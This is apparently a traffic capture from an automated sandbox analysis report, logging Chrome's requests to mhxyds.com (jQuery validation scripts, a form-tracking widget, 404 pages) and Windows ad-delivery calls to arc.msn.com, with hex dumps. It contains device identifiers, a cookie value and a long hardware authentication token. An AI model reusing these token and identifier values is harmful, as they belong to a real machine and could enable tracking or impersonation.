65 20 76 61 6c 69 64 2c 0d 0a 09 09 09 09 09 2f 2f 20 64 6f 6e 27 74 20 6d 61 72 6b 20 69 74 20 61 73 20 76 61 6c 69 64 
20 77 68 65 6e 20 74 68 65 72 65 20 61 72 65 20 6e 6f 20 6f 74 68 
Data Ascii: s: rules[method] };try {result = $.validator.methods[method].call( this, val, element, rule.parameters );// if a 
method indicates that the field is optional and therefore valid,// don't mark it as valid when there are no oth

2022-08-11 03:42:52 UTC 1681 IN Data Raw: 74 2c 20 70 61 72 61 6d 29 20 7b 0d 0a 09 09 09 76 61 72 20 6c 65 6e 67 74 68 20 3d 20 24 2e 69 73 41 72 
72 61 79 28 20 76 61 6c 75 65 20 29 20 3f 20 76 61 6c 75 65 2e 6c 65 6e 67 74 68 20 3a 20 74 68 69 73 2e 67 65 74 4c 
65 6e 67 74 68 28 24 2e 74 72 69 6d 28 76 61 6c 75 65 29 2c 20 65 6c 65 6d 65 6e 74 29 3b 0d 0a 09 09 09 72 65 74 75 
72 6e 20 74 68 69 73 2e 6f 70 74 69 6f 6e 61 6c 28 65 6c 65 6d 65 6e 74 29 20 7c 7c 20 28 20 6c 65 6e 67 74 68 20 3e 
3d 20 70 61 72 61 6d 5b 30 5d 20 26 26 20 6c 65 6e 67 74 68 20 3c 3d 20 70 61 72 61 6d 5b 31 5d 20 29 3b 0d 0a 09 09 
7d 2c 0d 0a 0d 0a 09 09 2f 2f 20 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 50 6c 75 67 69 6e 
73 2f 56 61 6c 69 64 61 74 69 6f 6e 2f 4d 65 74 68 6f 64 73 2f 6d 69 6e 
Data Ascii: t, param) {var length = $.isArray( value ) ? value.length : this.getLength($.trim(value), element);return th
is.optional(element) || ( length >= param[0] && length <= param[1] );},// http://docs.jquery.com/Plugins/Validation/Meth
ods/min
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

118 192.168.11.20 52205 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1680 OUT GET /js/sc.fields-events-tracking.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

119 118.27.105.118 443 192.168.11.20 53485 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1801 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:52 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:52 UTC 1801 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

12 192.168.11.20 54494 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:39 UTC 102 OUT GET /js/picturefill.min6b70.js?v=636160472800000000 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

120 118.27.105.118 443 192.168.11.20 63823 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1801 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:52 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:52 UTC 1802 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

121 118.27.105.118 443 192.168.11.20 54537 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1802 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:52 GMT
Content-Type: application/javascript
Content-Length: 700
Last-Modified: Mon, 28 Nov 2016 18:14:46 GMT
Connection: close
ETag: "583c7416-2bc"
Expires: Thu, 11 Aug 2022 15:42:52 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:52 UTC 1802 IN Data Raw: ef bb bf 0d 0a 0d 0a 69 66 20 28 74 79 70 65 6f 66 20 28 24 73 63 77 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 
6e 65 64 22 29 20 7b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 24 73 63 77 20 3d 20 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 
66 6c 69 63 74 28 74 72 75 65 29 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2f 2f 6d 75 6c 74 69 20 72 65 67 75 6c 61 72 20 65 78 
70 72 65 73 73 69 6f 6e 20 76 61 6c 69 64 61 74 69 6f 6e 0d 0a 0d 0a 24 73 63 77 2e 76 61 6c 69 64 61 74 6f 72 2e 61 64 
64 4d 65 74 68 6f 64 28 22 6d 75 6c 74 69 72 65 67 65 78 22 2c 20 66 75 6e 63 74 69 6f 6e 20 28 76 61 6c 75 65 2c 20 6
5 6c 65 6d 65 6e 74 2c 20 70 61 72 61 6d 73 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 61 74 63 68 3b 0d 0a 20 20 20 
20 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 61 6c 28 65 6c 65 6d 
Data Ascii: if (typeof ($scw) === "undefined") {    window.$scw = jQuery.noConflict(true);}//multi regular expression va
lidation$scw.validator.addMethod("multiregex", function (value, element, params) {    var match;    if (this.optional(elem

Session ID Source IP Source Port Destination IP
Destination
Port

Process

122 192.168.11.20 52206 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 1965 OUT GET /jpg/understanding-the-lic-structure-746x419-1f46b.jpg?mw=285&hash=C8C36499F66CAC27725EBD92450D8
783215D5F03 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

123 118.27.105.118 443 192.168.11.20 52205 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:53 UTC 1965 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:52 GMT
Content-Type: application/javascript
Content-Length: 7766
Last-Modified: Mon, 28 Nov 2016 18:14:46 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7416-1e56"
Expires: Thu, 11 Aug 2022 15:42:52 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:53 UTC 1965 IN Data Raw: ef bb bf 69 66 20 28 74 79 70 65 6f 66 20 28 24 73 63 77 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 
29 20 7b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 24 73 63 77 20 3d 20 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 
28 74 72 75 65 29 3b 0d 0a 7d 0d 0a 0d 0a 24 73 63 77 2e 77 69 64 67 65 74 28 22 77 66 66 6d 2e 65 76 65 6e 74 54 72 
61 63 6b 69 6e 67 22 2c 20 7b 0d 0a 20 20 20 20 6f 70 74 69 6f 6e 73 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 
49 64 3a 20 6e 75 6c 6c 2c 0d 0a 20 20 20 20 20 20 20 20 70 61 67 65 49 64 3a 20 6e 75 6c 6c 2c 0d 0a 20 20 20 20 20 
20 20 20 66 69 65 6c 64 49 64 3a 20 6e 75 6c 6c 2c 0d 0a 20 20 20 20 20 20 20 20 70 61 67 65 49 6e 64 65 78 3a 20 2d 
31 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 65 6c 64 54 69 74 6c 65 
Data Ascii: if (typeof ($scw) === "undefined") {    window.$scw = jQuery.noConflict(true);}$scw.widget("wffm.eventTracki
ng", {    options: {        formId: null,        pageId: null,        fieldId: null,        pageIndex: -1,        fieldTitle

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

124 192.168.11.20 50252 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 1973 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx
=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&pop
tin=0&localid=w:B4DB5D29-CE1F-133C-E940-0BE8A7B2FF54&ctry=GB&time=20220811T044252Z&lc=en-US&pl=en-
US,en-GB&idtp=mid&uid=eb235675-5bff-4e59-9bb0-da541f705e92&aid=00000000-0000-0000-0000-000000000000&ua
=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a06662a3bba044f8aaee998603f1bb19&ctmode=Multi
Session&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&currsel=1372717
44000000000&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19042.1165&disph
orzres=1920&dispsize=27.8&dispvertres=1080&fosver=18363&isu=0&lo=516520&metered=false&nettype=ethern
et&npid=sc-88000045&oemName=To%20Be%20Filled%20By%20O.E.M.&oemid=To%20Be%20Filled%20By%20O
.E.M.&ossku=Professional&prevosver=18363&smBiosDm=To%20Be%20Filled%20By%20O.E.M.&stabedgever=94.0.99
2.31&tl=2&tsu=492780&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=487739&fs=450557&sc=7
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAY8hw9sIj6wMKw048lYNNPkhz4DgfYHm
5bAp5AQUoNwIhUR1bAHEibB55A7EstAbRSk6BdBVceLNV0t4/sk9nVS4Rl5rz3hJwoiXi/VYG4pvf2cQf0UbKs6aDo
WbDEmpQLoysqSi8QWdovdOEkO7DXnzfNVswp5lRtW5aRY/dZTnsN2QRR8P1H3JiNMVJb1V+OklQ1InY/E+Squixijv
6pX077Xu/f7YyowzzL/EcIEfoX7UW2P845x4HihBJB4a4KKXgfIYfYCpwD1+3D/VUoxvK2xLT3EcGoyLUVGU7X+swp
Fxa2RUt0zW34uKu1HIUOKBEdeuzlRXYmU9VbUc9ScDZgAACLaz4M8qtFvlsAFmvOS0RH66wwFuec0JrnSaejmNO1Jr
KBuQ3rIDJCKSkrH6TeZbh6WyNbk+M2aSS1az2qgtyIVK6PbvPCpFWVRfneP1bZdjzIzglqG9vTH1LAYFGynmWkvyO0
r99LxTdmPDZYK6VbGehedTEApsLHi4oWJ3IwfTnqrZFzJOmIq3B6rIVIKLMXwNyXqQUwidFdCO+AUGewcXv+3WWBky
nPV4G3YeM96DzgTqrP3jSMSxOEQW68a5JChiiY1XKr744d6OL9a2qu9FgTw/0bqXGNxoF5YqkwMYWIXk9YY+8aEa+q
nG69jgj7wdk1BhgUEDQNFJdCY/KMXsBnwjjDUmTT/a0FSV/Z+V8W7Gw+jtLcksGNS2Qr2hlb1xebnUlfH70aBxex4o
v9LYr2xRcYvhF17dutCF3iINTZrcLvubJbMetKlkTe3jl4xJpnYdZdaswaTTRrdl3gk9WFyeq1FOCfSyCiqjgTNopiAReKifoJI0
dpILG0d/ipH3HO+6mXNIsyVtFId1sK2KRp4H4EMOoylrYvtzLHekLP5ZsQD03xVcl7KCHUMJibPRawflj2V8rHLWAQ==&p=
Cache-Control: no-cache
MS-CV: zdBWTJ9YjUC16kmf.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-08-11 03:42:53 UTC 1978 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3296
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T700333447-C128000000001627409+B+P10+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: s2DoS/LFjJSfZfn5/LpetFQWGUfolp054uqoe+0x5Tjky6p/HLHXCI30zkSKmwOSkEulBbJCqY3BS9B
lwfEDkhBo9lDxnhqx/vfzkmsAFQO3EEp4fxt3OzEy/W4kwT8gG+a3unf4UEBiYjRrVyRj3ZCUhbLM3LCuvy1L+Vs8J
SGguMvqc2YKhwks3AWLc0oAgUd1M+B8sgKoo9TluaOxS3D3FhPDWvwNDTyZmhLSJoD65mjm8JVHr6wDH
2dIRUPkppksSFwFuaHZ5HMN+wK27MYa3TdTb72U8mCO3Npm182HnVBE21BTwrgT/lyi14d90Pmmhuwhj
dWG4EBLLsU83g==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 11 Aug 2022 03:42:52 GMT
Connection: close
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2022-08-11 03:42:53 UTC 1979 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

125 192.168.11.20 50251 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 1975 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:B4DB5D29-CE1F-133C-E940-0BE8A7B2FF54&ctry=GB&time=20220811T044252Z&lc=en-US&pl=en-US,en-
GB&idtp=mid&uid=eb235675-5bff-4e59-9bb0-da541f705e92&aid=00000000-0000-0000-0000-000000000000&ua=W
indowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f50eaf95696247be8c6ec4b440d7bfab&ctmode=MultiSe
ssion&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&currsel=137271743
400000000&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19042.1165&disphor
zres=1920&dispsize=27.8&dispvertres=1080&fosver=18363&isu=0&lo=516520&metered=false&nettype=ethernet
&npid=sc-338387&oemName=To%20Be%20Filled%20By%20O.E.M.&oemid=To%20Be%20Filled%20By%20O.E.M
.&ossku=Professional&prevosver=18363&rver=2&sc-mode=0&smBiosDm=To%20Be%20Filled%20By%20O.E.M.&stabed
gever=94.0.992.31&tl=2&tsu=492780&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP
/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: cid=WW_128000000002122169_EN-US&chs=0&imp=0&chf=0&ds=487739&fs=450557&sc=7
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAY8hw9sIj6wMKw048lYNNPkhz4DgfYHm
5bAp5AQUoNwIhUR1bAHEibB55A7EstAbRSk6BdBVceLNV0t4/sk9nVS4Rl5rz3hJwoiXi/VYG4pvf2cQf0UbKs6aDo
WbDEmpQLoysqSi8QWdovdOEkO7DXnzfNVswp5lRtW5aRY/dZTnsN2QRR8P1H3JiNMVJb1V+OklQ1InY/E+Squixijv
6pX077Xu/f7YyowzzL/EcIEfoX7UW2P845x4HihBJB4a4KKXgfIYfYCpwD1+3D/VUoxvK2xLT3EcGoyLUVGU7X+swp
Fxa2RUt0zW34uKu1HIUOKBEdeuzlRXYmU9VbUc9ScDZgAACLaz4M8qtFvlsAFmvOS0RH66wwFuec0JrnSaejmNO1Jr
KBuQ3rIDJCKSkrH6TeZbh6WyNbk+M2aSS1az2qgtyIVK6PbvPCpFWVRfneP1bZdjzIzglqG9vTH1LAYFGynmWkvyO0
r99LxTdmPDZYK6VbGehedTEApsLHi4oWJ3IwfTnqrZFzJOmIq3B6rIVIKLMXwNyXqQUwidFdCO+AUGewcXv+3WWBky
nPV4G3YeM96DzgTqrP3jSMSxOEQW68a5JChiiY1XKr744d6OL9a2qu9FgTw/0bqXGNxoF5YqkwMYWIXk9YY+8aEa+q
nG69jgj7wdk1BhgUEDQNFJdCY/KMXsBnwjjDUmTT/a0FSV/Z+V8W7Gw+jtLcksGNS2Qr2hlb1xebnUlfH70aBxex4o
v9LYr2xRcYvhF17dutCF3iINTZrcLvubJbMetKlkTe3jl4xJpnYdZdaswaTTRrdl3gk9WFyeq1FOCfSyCiqjgTNopiAReKifoJI0
dpILG0d/ipH3HO+6mXNIsyVtFId1sK2KRp4H4EMOoylrYvtzLHekLP5ZsQD03xVcl7KCHUMJibPRawflj2V8rHLWAQ==&p=
Cache-Control: no-cache
MS-CV: zdBWTJ9YjUC16kmf.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-08-11 03:42:53 UTC 1982 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 25111
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000002624329+B+P90+S1,P425629911-T
700386308-C128000000003476509+B+P80+S2,P400090958-T700355890-C128000000003303409+B+P20+S3"},
{"BATCH_REDIRECT_STORE":"BWW_128000000002624329_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"B
WW_128000000003476509_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003303409_EN-US+
P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: OoPO9X4ca7TnwQ6PfVTokMYlrzWdZi79dqxLKAde5I+WaXg1MFTZK+YvcIFVM3t7bZGfdG72dO3nxTe
yTh4RKhfGyFCLXx+ebIPxKCSl91se3fR7Ldilw8CXIG26GMmH7ytruSGYIE46K/SoQkiumxiAmXmc2W4oGq9ICRioz
gJOtPH3Jgrs0tWtsI4qgEXjJXd894Af89+29ezCSdZBmpG+plS4A4KR7t7HDgpfs7b+GDpP0eBn7DNRJksk2VnnmIJ
MXxulRobMztDC6l4waGwCQPhr/cKMqiN+x1Dj3OBBLlq7/vKvGGm4KPhp2zmzcQnwcUNPn1RxE/Ajf1dSqw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 11 Aug 2022 03:42:53 GMT
Connection: close

2022-08-11 03:42:53 UTC 1984 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 
65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 
49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\
":\"ima
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2022-08-11 03:42:53 UTC 1998 IN Data Raw: 7d 26 54 49 4d 45 3d 7b 44 41 54 45 54 49 4d 45 7d 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 
38 31 31 54 30 33 34 32 35 33 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 34 34 43 31 36 39 44 39 39 33 
42 30 32 37 37 41 44 32 46 41 38 34 38 43 31 38 33 46 43 36 45 32 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 3
7 35 35 34 32 36 36 33 39 32 38 35 34 39 35 26 4c 4f 43 41 4c 49 44 3d 77 3a 42 34 44 42 35 44 32 39 2d 43 45 31 46 
2d 31 33 33 43 2d 45 39 34 30 2d 30 42 45 38 41 37 42 32 46 46 35 34 26 44 53 5f 45 56 54 49 44 3d 37 66 35 65 34 63 
63 66 37 61 62 34 34 30 64 35 38 34 61 37 61 64 31 39 38 65 35 31 34 33 34 64 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 
30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 
Data Ascii: }&TIME={DATETIME}&SLOT=2&REQT=20220811T034253&MA_Score=2&PERSID=44C169D993B027
7AD2FA848C183FC6E2&GLOBALDEVICEID=6755426639285495&LOCALID=w:B4DB5D29-CE1F-133C-E940-0BE8A
7B2FF54&DS_EVTID=7f5e4ccf7ab440d584a7ad198e51434d&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

126 192.168.11.20 54879 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 1978 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

127 118.27.105.118 443 192.168.11.20 56352 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 2008 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:52 GMT
Content-Type: application/javascript
Content-Length: 16631
Last-Modified: Mon, 28 Nov 2016 18:14:44 GMT
Connection: close
Vary: Accept-Encoding
